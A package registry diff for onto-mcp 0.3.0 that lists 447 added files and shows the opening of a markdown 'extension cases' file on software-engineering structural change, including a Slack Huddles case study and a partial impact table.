onto-mcp 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (447) hide show
  1. package/.onto/authority/core-lens-registry.yaml +134 -0
  2. package/.onto/authority/core-lexicon.yaml +1562 -0
  3. package/.onto/authority/diagnostic-codes.yaml +94 -0
  4. package/.onto/domains/accounting/competency_qs.md +384 -0
  5. package/.onto/domains/accounting/concepts.md +186 -0
  6. package/.onto/domains/accounting/conciseness_rules.md +160 -0
  7. package/.onto/domains/accounting/dependency_rules.md +239 -0
  8. package/.onto/domains/accounting/domain_scope.md +213 -0
  9. package/.onto/domains/accounting/extension_cases.md +416 -0
  10. package/.onto/domains/accounting/logic_rules.md +226 -0
  11. package/.onto/domains/accounting/structure_spec.md +298 -0
  12. package/.onto/domains/accounting-kr/competency_qs.md +562 -0
  13. package/.onto/domains/accounting-kr/concepts.md +187 -0
  14. package/.onto/domains/accounting-kr/conciseness_rules.md +125 -0
  15. package/.onto/domains/accounting-kr/dependency_rules.md +93 -0
  16. package/.onto/domains/accounting-kr/domain_scope.md +140 -0
  17. package/.onto/domains/accounting-kr/extension_cases.md +343 -0
  18. package/.onto/domains/accounting-kr/logic_rules.md +160 -0
  19. package/.onto/domains/accounting-kr/structure_spec.md +85 -0
  20. package/.onto/domains/business/competency_qs.md +263 -0
  21. package/.onto/domains/business/concepts.md +200 -0
  22. package/.onto/domains/business/conciseness_rules.md +135 -0
  23. package/.onto/domains/business/dependency_rules.md +113 -0
  24. package/.onto/domains/business/domain_scope.md +240 -0
  25. package/.onto/domains/business/extension_cases.md +249 -0
  26. package/.onto/domains/business/logic_rules.md +134 -0
  27. package/.onto/domains/business/structure_spec.md +114 -0
  28. package/.onto/domains/finance/competency_qs.md +362 -0
  29. package/.onto/domains/finance/concepts.md +194 -0
  30. package/.onto/domains/finance/conciseness_rules.md +155 -0
  31. package/.onto/domains/finance/dependency_rules.md +171 -0
  32. package/.onto/domains/finance/domain_scope.md +215 -0
  33. package/.onto/domains/finance/extension_cases.md +350 -0
  34. package/.onto/domains/finance/logic_rules.md +191 -0
  35. package/.onto/domains/finance/structure_spec.md +182 -0
  36. package/.onto/domains/llm-native-development/competency_qs.md +430 -0
  37. package/.onto/domains/llm-native-development/concepts.md +242 -0
  38. package/.onto/domains/llm-native-development/conciseness_rules.md +163 -0
  39. package/.onto/domains/llm-native-development/dependency_rules.md +216 -0
  40. package/.onto/domains/llm-native-development/domain_scope.md +197 -0
  41. package/.onto/domains/llm-native-development/extension_cases.md +474 -0
  42. package/.onto/domains/llm-native-development/logic_rules.md +123 -0
  43. package/.onto/domains/llm-native-development/prompt_interface.md +49 -0
  44. package/.onto/domains/llm-native-development/structure_spec.md +245 -0
  45. package/.onto/domains/market-intelligence/competency_qs.md +274 -0
  46. package/.onto/domains/market-intelligence/concepts.md +233 -0
  47. package/.onto/domains/market-intelligence/conciseness_rules.md +165 -0
  48. package/.onto/domains/market-intelligence/dependency_rules.md +197 -0
  49. package/.onto/domains/market-intelligence/domain_scope.md +231 -0
  50. package/.onto/domains/market-intelligence/extension_cases.md +425 -0
  51. package/.onto/domains/market-intelligence/logic_rules.md +247 -0
  52. package/.onto/domains/market-intelligence/structure_spec.md +209 -0
  53. package/.onto/domains/ontology/competency_qs.md +394 -0
  54. package/.onto/domains/ontology/concepts.md +172 -0
  55. package/.onto/domains/ontology/conciseness_rules.md +134 -0
  56. package/.onto/domains/ontology/dependency_rules.md +125 -0
  57. package/.onto/domains/ontology/domain_scope.md +114 -0
  58. package/.onto/domains/ontology/extension_cases.md +501 -0
  59. package/.onto/domains/ontology/logic_rules.md +114 -0
  60. package/.onto/domains/ontology/problem_framing_profile.md +67 -0
  61. package/.onto/domains/ontology/structure_spec.md +115 -0
  62. package/.onto/domains/palantir-foundry/RESEARCH_NOTES.md +911 -0
  63. package/.onto/domains/palantir-foundry/competency_qs.md +191 -0
  64. package/.onto/domains/palantir-foundry/competitive_comparison.md +329 -0
  65. package/.onto/domains/palantir-foundry/concepts.md +197 -0
  66. package/.onto/domains/palantir-foundry/conciseness_rules.md +245 -0
  67. package/.onto/domains/palantir-foundry/dependency_rules.md +135 -0
  68. package/.onto/domains/palantir-foundry/domain_scope.md +395 -0
  69. package/.onto/domains/palantir-foundry/extension_cases.md +210 -0
  70. package/.onto/domains/palantir-foundry/logic_rules.md +172 -0
  71. package/.onto/domains/palantir-foundry/structure_spec.md +291 -0
  72. package/.onto/domains/software-engineering/competency_qs.md +538 -0
  73. package/.onto/domains/software-engineering/concepts.md +238 -0
  74. package/.onto/domains/software-engineering/conciseness_rules.md +167 -0
  75. package/.onto/domains/software-engineering/dependency_rules.md +216 -0
  76. package/.onto/domains/software-engineering/domain_scope.md +183 -0
  77. package/.onto/domains/software-engineering/extension_cases.md +551 -0
  78. package/.onto/domains/software-engineering/logic_rules.md +240 -0
  79. package/.onto/domains/software-engineering/problem_framing_profile.md +68 -0
  80. package/.onto/domains/software-engineering/structure_spec.md +185 -0
  81. package/.onto/domains/ui-design/competency_qs.md +567 -0
  82. package/.onto/domains/ui-design/concepts.md +194 -0
  83. package/.onto/domains/ui-design/conciseness_rules.md +190 -0
  84. package/.onto/domains/ui-design/dependency_rules.md +323 -0
  85. package/.onto/domains/ui-design/domain_scope.md +340 -0
  86. package/.onto/domains/ui-design/extension_cases.md +563 -0
  87. package/.onto/domains/ui-design/logic_rules.md +349 -0
  88. package/.onto/domains/ui-design/structure_spec.md +252 -0
  89. package/.onto/domains/visual-design/competency_qs.md +472 -0
  90. package/.onto/domains/visual-design/concepts.md +147 -0
  91. package/.onto/domains/visual-design/conciseness_rules.md +186 -0
  92. package/.onto/domains/visual-design/dependency_rules.md +282 -0
  93. package/.onto/domains/visual-design/domain_scope.md +290 -0
  94. package/.onto/domains/visual-design/extension_cases.md +480 -0
  95. package/.onto/domains/visual-design/logic_rules.md +232 -0
  96. package/.onto/domains/visual-design/structure_spec.md +213 -0
  97. package/.onto/principles/llm-native-development-guideline.md +401 -0
  98. package/.onto/principles/llm-runtime-interface-principles.md +665 -0
  99. package/.onto/principles/non-specialist-communication-guideline.md +74 -0
  100. package/.onto/principles/ontology-as-code-guideline.md +243 -0
  101. package/.onto/principles/ontology-as-code-naming-charter.md +130 -0
  102. package/.onto/principles/product-locality-principle.md +129 -0
  103. package/.onto/principles/productization-charter.md +569 -0
  104. package/.onto/processes/evolve/material-kind-adapter-contract.md +113 -0
  105. package/.onto/processes/reconstruct/reconstruct-boundary-contract.md +366 -0
  106. package/.onto/processes/reconstruct/source-profile-contract.md +107 -0
  107. package/.onto/processes/reconstruct/source-profiles/code.md +72 -0
  108. package/.onto/processes/reconstruct/source-profiles/database.md +74 -0
  109. package/.onto/processes/reconstruct/source-profiles/document.md +71 -0
  110. package/.onto/processes/reconstruct/source-profiles/spreadsheet.md +79 -0
  111. package/.onto/processes/review/binding-contract.md +270 -0
  112. package/.onto/processes/review/execution-preparation-artifacts.md +281 -0
  113. package/.onto/processes/review/interpretation-contract.md +245 -0
  114. package/.onto/processes/review/issue-stance-deliberation-contract.md +761 -0
  115. package/.onto/processes/review/lens-prompt-contract.md +402 -0
  116. package/.onto/processes/review/lens-registry.md +127 -0
  117. package/.onto/processes/review/pre-dispatch-contracts.md +428 -0
  118. package/.onto/processes/review/productized-live-path.md +398 -0
  119. package/.onto/processes/review/prompt-execution-runner-contract.md +187 -0
  120. package/.onto/processes/review/record-contract.md +427 -0
  121. package/.onto/processes/review/record-field-mapping.md +337 -0
  122. package/.onto/processes/review/review-context-manifest-contract.md +356 -0
  123. package/.onto/processes/review/review-execution-ux-contract.md +809 -0
  124. package/.onto/processes/review/review-target-profile-contract.md +259 -0
  125. package/.onto/processes/review/shared-phenomenon-contract.md +129 -0
  126. package/.onto/processes/review/synthesize-prompt-contract.md +343 -0
  127. package/.onto/processes/shared/target-material-kind-contract.md +198 -0
  128. package/.onto/roles/axiology.md +81 -0
  129. package/.onto/roles/conciseness.md +36 -0
  130. package/.onto/roles/coverage.md +34 -0
  131. package/.onto/roles/dependency.md +37 -0
  132. package/.onto/roles/evolution.md +35 -0
  133. package/.onto/roles/logic.md +104 -0
  134. package/.onto/roles/pragmatics.md +32 -0
  135. package/.onto/roles/semantics.md +36 -0
  136. package/.onto/roles/structure.md +33 -0
  137. package/.onto/roles/synthesize.md +92 -0
  138. package/AGENTS.md +240 -0
  139. package/CLAUDE.md +39 -0
  140. package/README.md +287 -0
  141. package/bin/onto +92 -0
  142. package/dist/cli.js +101 -0
  143. package/dist/core-api/reconstruct-api.js +222 -0
  144. package/dist/core-api/review-api.js +1271 -0
  145. package/dist/core-runtime/cli/assemble-review-record.js +431 -0
  146. package/dist/core-runtime/cli/bootstrap-review-binding.js +186 -0
  147. package/dist/core-runtime/cli/codex-nested-dispatch.js +226 -0
  148. package/dist/core-runtime/cli/codex-nested-dispatch.test.js +390 -0
  149. package/dist/core-runtime/cli/codex-nested-teamlead-executor.js +464 -0
  150. package/dist/core-runtime/cli/codex-nested-teamlead-executor.test.js +335 -0
  151. package/dist/core-runtime/cli/codex-review-unit-executor.js +228 -0
  152. package/dist/core-runtime/cli/complete-review-session.js +64 -0
  153. package/dist/core-runtime/cli/complexity-assessment.js +153 -0
  154. package/dist/core-runtime/cli/coordinator-helpers.js +583 -0
  155. package/dist/core-runtime/cli/coordinator-state-machine-deliberation.test.js +167 -0
  156. package/dist/core-runtime/cli/coordinator-state-machine.js +794 -0
  157. package/dist/core-runtime/cli/e2e-codex-multi-agent-fixes.test.js +615 -0
  158. package/dist/core-runtime/cli/e2e-start-review-session.test.js +312 -0
  159. package/dist/core-runtime/cli/health.js +44 -0
  160. package/dist/core-runtime/cli/inline-http-review-unit-executor.js +656 -0
  161. package/dist/core-runtime/cli/inline-http-review-unit-executor.test.js +567 -0
  162. package/dist/core-runtime/cli/materialize-review-execution-preparation.js +104 -0
  163. package/dist/core-runtime/cli/materialize-review-prompt-packets.js +952 -0
  164. package/dist/core-runtime/cli/migrate-session-roots.js +118 -0
  165. package/dist/core-runtime/cli/mock-review-unit-executor.js +285 -0
  166. package/dist/core-runtime/cli/onto-tools.js +369 -0
  167. package/dist/core-runtime/cli/prepare-review-session.js +272 -0
  168. package/dist/core-runtime/cli/render-review-final-output.js +350 -0
  169. package/dist/core-runtime/cli/repo-layout-migration-replace.smoke.test.js +106 -0
  170. package/dist/core-runtime/cli/review-invoke-auto-resolution.test.js +268 -0
  171. package/dist/core-runtime/cli/review-invoke-coordinator-topology.test.js +136 -0
  172. package/dist/core-runtime/cli/review-invoke-resolver-caching.test.js +201 -0
  173. package/dist/core-runtime/cli/review-invoke-topology-dispatch.test.js +192 -0
  174. package/dist/core-runtime/cli/review-invoke.js +2030 -0
  175. package/dist/core-runtime/cli/run-review-prompt-execution.js +2152 -0
  176. package/dist/core-runtime/cli/session-root-guard.js +168 -0
  177. package/dist/core-runtime/cli/spawn-watcher.js +173 -0
  178. package/dist/core-runtime/cli/spawn-watcher.test.js +457 -0
  179. package/dist/core-runtime/cli/start-review-session.js +68 -0
  180. package/dist/core-runtime/cli/strip-wrapping-code-fence.js +56 -0
  181. package/dist/core-runtime/cli/strip-wrapping-code-fence.test.js +79 -0
  182. package/dist/core-runtime/cli/teamcreate-lens-deliberation-executor.js +412 -0
  183. package/dist/core-runtime/cli/teamcreate-lens-deliberation-executor.test.js +351 -0
  184. package/dist/core-runtime/cli/topology-executor-mapping.js +139 -0
  185. package/dist/core-runtime/cli/topology-executor-mapping.test.js +173 -0
  186. package/dist/core-runtime/cli/write-review-interpretation.js +81 -0
  187. package/dist/core-runtime/config/onto-config-cli.js +278 -0
  188. package/dist/core-runtime/config/onto-config-key-path.js +288 -0
  189. package/dist/core-runtime/config/onto-config-key-path.test.js +195 -0
  190. package/dist/core-runtime/config/onto-config-preview.js +108 -0
  191. package/dist/core-runtime/config/onto-config-preview.test.js +132 -0
  192. package/dist/core-runtime/discovery/config-chain.js +118 -0
  193. package/dist/core-runtime/discovery/config-chain.test.js +103 -0
  194. package/dist/core-runtime/discovery/config-profile.js +199 -0
  195. package/dist/core-runtime/discovery/config-profile.test.js +233 -0
  196. package/dist/core-runtime/discovery/host-detection.js +33 -0
  197. package/dist/core-runtime/discovery/host-detection.test.js +186 -0
  198. package/dist/core-runtime/discovery/installation-paths.js +21 -0
  199. package/dist/core-runtime/discovery/installation-paths.test.js +65 -0
  200. package/dist/core-runtime/discovery/lens-registry.js +60 -0
  201. package/dist/core-runtime/discovery/lens-registry.test.js +81 -0
  202. package/dist/core-runtime/discovery/onto-home.js +71 -0
  203. package/dist/core-runtime/discovery/path-normalization.js +28 -0
  204. package/dist/core-runtime/discovery/path-normalization.test.js +22 -0
  205. package/dist/core-runtime/discovery/plugin-path.js +72 -0
  206. package/dist/core-runtime/discovery/plugin-path.test.js +95 -0
  207. package/dist/core-runtime/discovery/project-root.js +47 -0
  208. package/dist/core-runtime/discovery/settings-chain.js +353 -0
  209. package/dist/core-runtime/discovery/walk-up.js +17 -0
  210. package/dist/core-runtime/evolve/adapters/code-product/compile/compile-defense.js +344 -0
  211. package/dist/core-runtime/evolve/adapters/code-product/compile/compile-defense.test.js +915 -0
  212. package/dist/core-runtime/evolve/adapters/code-product/compile/compile.js +564 -0
  213. package/dist/core-runtime/evolve/adapters/code-product/compile/compile.test.js +708 -0
  214. package/dist/core-runtime/evolve/adapters/code-product/parsers/brief-parser.js +165 -0
  215. package/dist/core-runtime/evolve/adapters/code-product/parsers/brief-parser.test.js +227 -0
  216. package/dist/core-runtime/evolve/adapters/code-product/validators/validate.js +59 -0
  217. package/dist/core-runtime/evolve/adapters/code-product/validators/validate.test.js +205 -0
  218. package/dist/core-runtime/evolve/adapters/methodology/adapter.js +16 -0
  219. package/dist/core-runtime/evolve/adapters/methodology/adapter.test.js +9 -0
  220. package/dist/core-runtime/evolve/adapters/methodology/perspectives/authority-consistency.js +298 -0
  221. package/dist/core-runtime/evolve/adapters/methodology/perspectives/authority-consistency.test.js +70 -0
  222. package/dist/core-runtime/evolve/adapters/methodology/scope-types/process.js +46 -0
  223. package/dist/core-runtime/evolve/adapters/methodology/scope-types/process.test.js +73 -0
  224. package/dist/core-runtime/evolve/adapters/registry.js +47 -0
  225. package/dist/core-runtime/evolve/adapters/registry.test.js +67 -0
  226. package/dist/core-runtime/evolve/cli.js +256 -0
  227. package/dist/core-runtime/evolve/commands/align.js +194 -0
  228. package/dist/core-runtime/evolve/commands/align.test.js +82 -0
  229. package/dist/core-runtime/evolve/commands/apply.js +161 -0
  230. package/dist/core-runtime/evolve/commands/apply.test.js +138 -0
  231. package/dist/core-runtime/evolve/commands/close.js +39 -0
  232. package/dist/core-runtime/evolve/commands/close.test.js +99 -0
  233. package/dist/core-runtime/evolve/commands/defer.js +40 -0
  234. package/dist/core-runtime/evolve/commands/defer.test.js +134 -0
  235. package/dist/core-runtime/evolve/commands/draft.js +323 -0
  236. package/dist/core-runtime/evolve/commands/draft.test.js +178 -0
  237. package/dist/core-runtime/evolve/commands/e2e-evolve-full-cycle.test.js +208 -0
  238. package/dist/core-runtime/evolve/commands/error-messages.js +125 -0
  239. package/dist/core-runtime/evolve/commands/error-messages.test.js +167 -0
  240. package/dist/core-runtime/evolve/commands/propose-align.js +222 -0
  241. package/dist/core-runtime/evolve/commands/propose-align.test.js +136 -0
  242. package/dist/core-runtime/evolve/commands/reconstruct.js +330 -0
  243. package/dist/core-runtime/evolve/commands/reconstruct.test.js +278 -0
  244. package/dist/core-runtime/evolve/commands/shared.js +22 -0
  245. package/dist/core-runtime/evolve/commands/stale-check.js +103 -0
  246. package/dist/core-runtime/evolve/commands/stale-check.test.js +84 -0
  247. package/dist/core-runtime/evolve/commands/start.js +887 -0
  248. package/dist/core-runtime/evolve/commands/start.test.js +396 -0
  249. package/dist/core-runtime/evolve/config/project-config.js +99 -0
  250. package/dist/core-runtime/evolve/config/project-config.test.js +170 -0
  251. package/dist/core-runtime/evolve/renderers/align-packet.js +280 -0
  252. package/dist/core-runtime/evolve/renderers/align-packet.test.js +332 -0
  253. package/dist/core-runtime/evolve/renderers/draft-packet.js +303 -0
  254. package/dist/core-runtime/evolve/renderers/draft-packet.test.js +377 -0
  255. package/dist/core-runtime/evolve/renderers/format.js +5 -0
  256. package/dist/core-runtime/evolve/renderers/scope-md.js +237 -0
  257. package/dist/core-runtime/evolve/renderers/scope-md.test.js +306 -0
  258. package/dist/core-runtime/govern/cli.js +369 -0
  259. package/dist/core-runtime/govern/cli.test.js +314 -0
  260. package/dist/core-runtime/govern/drift-engine.js +103 -0
  261. package/dist/core-runtime/govern/drift-engine.test.js +319 -0
  262. package/dist/core-runtime/govern/promote-principle.js +206 -0
  263. package/dist/core-runtime/govern/promote-principle.test.js +368 -0
  264. package/dist/core-runtime/govern/queue.js +81 -0
  265. package/dist/core-runtime/govern/types.js +16 -0
  266. package/dist/core-runtime/install/cli.js +530 -0
  267. package/dist/core-runtime/install/detect.js +128 -0
  268. package/dist/core-runtime/install/detect.test.js +155 -0
  269. package/dist/core-runtime/install/gitignore-update.js +74 -0
  270. package/dist/core-runtime/install/gitignore-update.test.js +64 -0
  271. package/dist/core-runtime/install/install-integration.test.js +373 -0
  272. package/dist/core-runtime/install/prompts.js +389 -0
  273. package/dist/core-runtime/install/prompts.test.js +293 -0
  274. package/dist/core-runtime/install/types.js +26 -0
  275. package/dist/core-runtime/install/validation.js +295 -0
  276. package/dist/core-runtime/install/validation.test.js +313 -0
  277. package/dist/core-runtime/install/writer.js +254 -0
  278. package/dist/core-runtime/install/writer.test.js +218 -0
  279. package/dist/core-runtime/learning/extractor.js +461 -0
  280. package/dist/core-runtime/learning/feedback.js +179 -0
  281. package/dist/core-runtime/learning/health-report.js +165 -0
  282. package/dist/core-runtime/learning/health-report.test.js +169 -0
  283. package/dist/core-runtime/learning/loader.js +388 -0
  284. package/dist/core-runtime/learning/loader.test.js +102 -0
  285. package/dist/core-runtime/learning/promote/apply-state.js +240 -0
  286. package/dist/core-runtime/learning/promote/audit-obligation.js +195 -0
  287. package/dist/core-runtime/learning/promote/collector.js +432 -0
  288. package/dist/core-runtime/learning/promote/degraded-state.js +125 -0
  289. package/dist/core-runtime/learning/promote/domain-doc-proposer.js +166 -0
  290. package/dist/core-runtime/learning/promote/e2e-promote.test.js +6385 -0
  291. package/dist/core-runtime/learning/promote/health-snapshot.js +150 -0
  292. package/dist/core-runtime/learning/promote/insight-reclassifier.js +544 -0
  293. package/dist/core-runtime/learning/promote/judgment-auditor.js +517 -0
  294. package/dist/core-runtime/learning/promote/panel-reviewer.js +1158 -0
  295. package/dist/core-runtime/learning/promote/promote-executor.js +1675 -0
  296. package/dist/core-runtime/learning/promote/promoter.js +307 -0
  297. package/dist/core-runtime/learning/promote/retirement.js +122 -0
  298. package/dist/core-runtime/learning/promote/types.js +23 -0
  299. package/dist/core-runtime/learning/prompt-sections.js +51 -0
  300. package/dist/core-runtime/learning/shared/artifact-registry-init.js +45 -0
  301. package/dist/core-runtime/learning/shared/artifact-registry.js +254 -0
  302. package/dist/core-runtime/learning/shared/audit-obligation-kernel.js +73 -0
  303. package/dist/core-runtime/learning/shared/audit-state.js +99 -0
  304. package/dist/core-runtime/learning/shared/duplicate-check.js +28 -0
  305. package/dist/core-runtime/learning/shared/llm-caller.js +831 -0
  306. package/dist/core-runtime/learning/shared/llm-caller.test.js +601 -0
  307. package/dist/core-runtime/learning/shared/llm-tool-loop.js +393 -0
  308. package/dist/core-runtime/learning/shared/mode.js +25 -0
  309. package/dist/core-runtime/learning/shared/paths.js +84 -0
  310. package/dist/core-runtime/learning/shared/paths.test.js +79 -0
  311. package/dist/core-runtime/learning/shared/patterns.js +37 -0
  312. package/dist/core-runtime/learning/shared/recoverability.js +355 -0
  313. package/dist/core-runtime/learning/shared/recovery-context.js +374 -0
  314. package/dist/core-runtime/learning/shared/scope.js +1 -0
  315. package/dist/core-runtime/learning/shared/semantic-classifier.js +94 -0
  316. package/dist/core-runtime/learning/shared/specs/apply-execution-state-spec.js +42 -0
  317. package/dist/core-runtime/learning/shared/specs/audit-state-spec.js +37 -0
  318. package/dist/core-runtime/learning/shared/specs/backup-metadata-spec.js +39 -0
  319. package/dist/core-runtime/learning/shared/specs/emergency-log-spec.js +41 -0
  320. package/dist/core-runtime/learning/shared/specs/layout-version-spec.js +38 -0
  321. package/dist/core-runtime/learning/shared/specs/promote-decisions-spec.js +43 -0
  322. package/dist/core-runtime/learning/shared/specs/promote-report-spec.js +113 -0
  323. package/dist/core-runtime/learning/shared/specs/prune-log-spec.js +36 -0
  324. package/dist/core-runtime/learning/shared/specs/recovery-resolution-spec.js +48 -0
  325. package/dist/core-runtime/learning/shared/specs/restore-manifest-spec.js +43 -0
  326. package/dist/core-runtime/learning/shared/specs/spec-helpers.js +64 -0
  327. package/dist/core-runtime/learning/usage-tracker.js +190 -0
  328. package/dist/core-runtime/learning/usage-tracker.test.js +176 -0
  329. package/dist/core-runtime/llm/llm-caller.js +649 -0
  330. package/dist/core-runtime/llm/llm-tool-loop.js +401 -0
  331. package/dist/core-runtime/llm/model-switcher.js +62 -0
  332. package/dist/core-runtime/logger.js +22 -0
  333. package/dist/core-runtime/onboard/detect-review-axes.js +122 -0
  334. package/dist/core-runtime/onboard/detect-review-axes.test.js +127 -0
  335. package/dist/core-runtime/onboard/write-review-block.js +188 -0
  336. package/dist/core-runtime/onboard/write-review-block.test.js +240 -0
  337. package/dist/core-runtime/readers/brownfield-builder.js +150 -0
  338. package/dist/core-runtime/readers/brownfield-builder.test.js +136 -0
  339. package/dist/core-runtime/readers/code-chunk-collector.js +53 -0
  340. package/dist/core-runtime/readers/code-chunk-collector.test.js +136 -0
  341. package/dist/core-runtime/readers/file-utils.js +240 -0
  342. package/dist/core-runtime/readers/file-utils.test.js +146 -0
  343. package/dist/core-runtime/readers/lexicon-citation-check.js +93 -0
  344. package/dist/core-runtime/readers/lexicon-citation-check.test.js +77 -0
  345. package/dist/core-runtime/readers/mcp-figma.js +30 -0
  346. package/dist/core-runtime/readers/mcp-figma.test.js +82 -0
  347. package/dist/core-runtime/readers/mcp-generic.js +31 -0
  348. package/dist/core-runtime/readers/mcp-generic.test.js +76 -0
  349. package/dist/core-runtime/readers/ontology-index.js +148 -0
  350. package/dist/core-runtime/readers/ontology-index.test.js +245 -0
  351. package/dist/core-runtime/readers/ontology-query.js +168 -0
  352. package/dist/core-runtime/readers/ontology-query.test.js +311 -0
  353. package/dist/core-runtime/readers/ontology-resolve.js +48 -0
  354. package/dist/core-runtime/readers/ontology-resolve.test.js +48 -0
  355. package/dist/core-runtime/readers/patterns/index.js +7 -0
  356. package/dist/core-runtime/readers/review-log.js +213 -0
  357. package/dist/core-runtime/readers/review-log.test.js +313 -0
  358. package/dist/core-runtime/readers/scan-local.js +102 -0
  359. package/dist/core-runtime/readers/scan-local.test.js +102 -0
  360. package/dist/core-runtime/readers/scan-tarball.js +121 -0
  361. package/dist/core-runtime/readers/scan-tarball.test.js +283 -0
  362. package/dist/core-runtime/readers/scan-vault.js +34 -0
  363. package/dist/core-runtime/readers/scan-vault.test.js +81 -0
  364. package/dist/core-runtime/readers/types.js +42 -0
  365. package/dist/core-runtime/readers/types.test.js +94 -0
  366. package/dist/core-runtime/readers/viewpoint-collectors.js +229 -0
  367. package/dist/core-runtime/reconstruct/artifact-types.js +1 -0
  368. package/dist/core-runtime/reconstruct/directive-validation.js +123 -0
  369. package/dist/core-runtime/reconstruct/materialize-preparation.js +251 -0
  370. package/dist/core-runtime/reconstruct/record.js +198 -0
  371. package/dist/core-runtime/reconstruct/run.js +578 -0
  372. package/dist/core-runtime/reconstruct/seed-candidate-validation.js +356 -0
  373. package/dist/core-runtime/reconstruct/source-observations.js +62 -0
  374. package/dist/core-runtime/reconstruct/source-profiles.js +73 -0
  375. package/dist/core-runtime/release-channel/release-channel.js +90 -0
  376. package/dist/core-runtime/review/artifact-types.js +13 -0
  377. package/dist/core-runtime/review/citation-audit.js +204 -0
  378. package/dist/core-runtime/review/citation-audit.test.js +165 -0
  379. package/dist/core-runtime/review/controlled-lens-deliberation.js +125 -0
  380. package/dist/core-runtime/review/execution-plan-resolver.js +247 -0
  381. package/dist/core-runtime/review/execution-plan-resolver.test.js +243 -0
  382. package/dist/core-runtime/review/execution-topology-resolver-axis-first.test.js +246 -0
  383. package/dist/core-runtime/review/execution-topology-resolver.js +401 -0
  384. package/dist/core-runtime/review/execution-topology-resolver.test.js +315 -0
  385. package/dist/core-runtime/review/failure-records.js +57 -0
  386. package/dist/core-runtime/review/inline-context-embedder.js +141 -0
  387. package/dist/core-runtime/review/inline-context-embedder.test.js +154 -0
  388. package/dist/core-runtime/review/issue-artifact-runtime.js +859 -0
  389. package/dist/core-runtime/review/legacy-mode-policy.js +88 -0
  390. package/dist/core-runtime/review/lens-completion-policy.js +17 -0
  391. package/dist/core-runtime/review/materializers-effort-persist.test.js +79 -0
  392. package/dist/core-runtime/review/materializers.js +963 -0
  393. package/dist/core-runtime/review/ontology-path-classifier.js +179 -0
  394. package/dist/core-runtime/review/ontology-path-classifier.test.js +216 -0
  395. package/dist/core-runtime/review/packet-boundary-policy.js +215 -0
  396. package/dist/core-runtime/review/packet-boundary-policy.test.js +107 -0
  397. package/dist/core-runtime/review/participating-lens-paths.js +61 -0
  398. package/dist/core-runtime/review/participating-lens-paths.test.js +73 -0
  399. package/dist/core-runtime/review/review-artifact-utils.js +287 -0
  400. package/dist/core-runtime/review/review-config-legacy-translate.js +244 -0
  401. package/dist/core-runtime/review/review-config-legacy-translate.test.js +161 -0
  402. package/dist/core-runtime/review/review-config-validator.js +289 -0
  403. package/dist/core-runtime/review/review-config-validator.test.js +236 -0
  404. package/dist/core-runtime/review/review-execution-profile.js +193 -0
  405. package/dist/core-runtime/review/review-execution-route.js +52 -0
  406. package/dist/core-runtime/review/review-progress-contract.js +123 -0
  407. package/dist/core-runtime/review/review-record-validation.js +251 -0
  408. package/dist/core-runtime/review/review-result-classification.js +379 -0
  409. package/dist/core-runtime/review/review-state-machine.js +39 -0
  410. package/dist/core-runtime/review/route-visibility.js +125 -0
  411. package/dist/core-runtime/review/shape-pipeline-audit.test.js +311 -0
  412. package/dist/core-runtime/review/shape-to-topology-id.js +117 -0
  413. package/dist/core-runtime/review/shape-to-topology-id.test.js +132 -0
  414. package/dist/core-runtime/review/topology-shape-derivation.js +155 -0
  415. package/dist/core-runtime/review/topology-shape-derivation.test.js +195 -0
  416. package/dist/core-runtime/scope-runtime/constants.js +12 -0
  417. package/dist/core-runtime/scope-runtime/constraint-pool.js +166 -0
  418. package/dist/core-runtime/scope-runtime/constraint-pool.test.js +674 -0
  419. package/dist/core-runtime/scope-runtime/domain-validation-log.js +135 -0
  420. package/dist/core-runtime/scope-runtime/domain-validation-log.test.js +156 -0
  421. package/dist/core-runtime/scope-runtime/eval-persistence.js +65 -0
  422. package/dist/core-runtime/scope-runtime/eval-persistence.test.js +84 -0
  423. package/dist/core-runtime/scope-runtime/event-pipeline.js +64 -0
  424. package/dist/core-runtime/scope-runtime/event-pipeline.test.js +450 -0
  425. package/dist/core-runtime/scope-runtime/event-store.js +39 -0
  426. package/dist/core-runtime/scope-runtime/event-store.test.js +95 -0
  427. package/dist/core-runtime/scope-runtime/gate-guard.js +348 -0
  428. package/dist/core-runtime/scope-runtime/gate-guard.test.js +1047 -0
  429. package/dist/core-runtime/scope-runtime/hash.js +4 -0
  430. package/dist/core-runtime/scope-runtime/hash.test.js +33 -0
  431. package/dist/core-runtime/scope-runtime/id.js +4 -0
  432. package/dist/core-runtime/scope-runtime/id.test.js +17 -0
  433. package/dist/core-runtime/scope-runtime/reducer.js +297 -0
  434. package/dist/core-runtime/scope-runtime/reducer.test.js +759 -0
  435. package/dist/core-runtime/scope-runtime/scope-manager.js +161 -0
  436. package/dist/core-runtime/scope-runtime/state-machine.js +309 -0
  437. package/dist/core-runtime/scope-runtime/state-machine.test.js +704 -0
  438. package/dist/core-runtime/scope-runtime/types.js +116 -0
  439. package/dist/core-runtime/scope-runtime/types.test.js +69 -0
  440. package/dist/core-runtime/target-material-kind.js +256 -0
  441. package/dist/core-runtime/translate/render-for-user.js +169 -0
  442. package/dist/core-runtime/translate/render-for-user.test.js +122 -0
  443. package/dist/mcp/server.js +1011 -0
  444. package/dist/mcp/tool-schemas.js +93 -0
  445. package/dist/providers/capability-contract.js +1 -0
  446. package/package.json +68 -0
  447. package/settings.example.json +33 -0
@@ -0,0 +1,551 @@
1
+ ---
2
+ version: 3
3
+ last_updated: "2026-03-31"
4
+ source: bundled-domain-baseline
5
+ status: established
6
+ ---
7
+
8
+ # Software Engineering Domain — Extension Cases
9
+
10
+ Classification axis: **change trigger** — cases classified by the type of change that triggers structural evolution. Cases cover both growth triggers (Cases 1–11) and shrinkage triggers (Cases 12–13).
11
+
12
+ The evolution agent simulates each scenario to verify whether the existing structure breaks.
13
+
14
+ ---
15
+
16
+ ## Case 1: Adding a New Feature
17
+
18
+ ### Situation
19
+
20
+ Adding new functionality to an existing module structure without violating module boundaries or breaking existing code (Open-Closed Principle).
21
+
22
+ ### Case Study: Slack — Huddles (2021)
23
+
24
+ Slack added real-time audio (Huddles) to an asynchronous text messaging platform. Audio requires WebRTC connections and media servers — fundamentally different infrastructure from HTTP-based messaging. Slack isolated Huddles in a separate module with its own data model, integrating with the existing workspace/channel model through defined interfaces. Existing messaging tests remained unaffected.
25
+
26
+ ### Impact Analysis
27
+
28
+ | Principle | Impact |
29
+ |---|---|
30
+ | Module boundaries | New feature should map to a new module or extend an existing one via its public interface |
31
+ | Dependency direction | New module must depend inward, not introduce reverse dependencies |
32
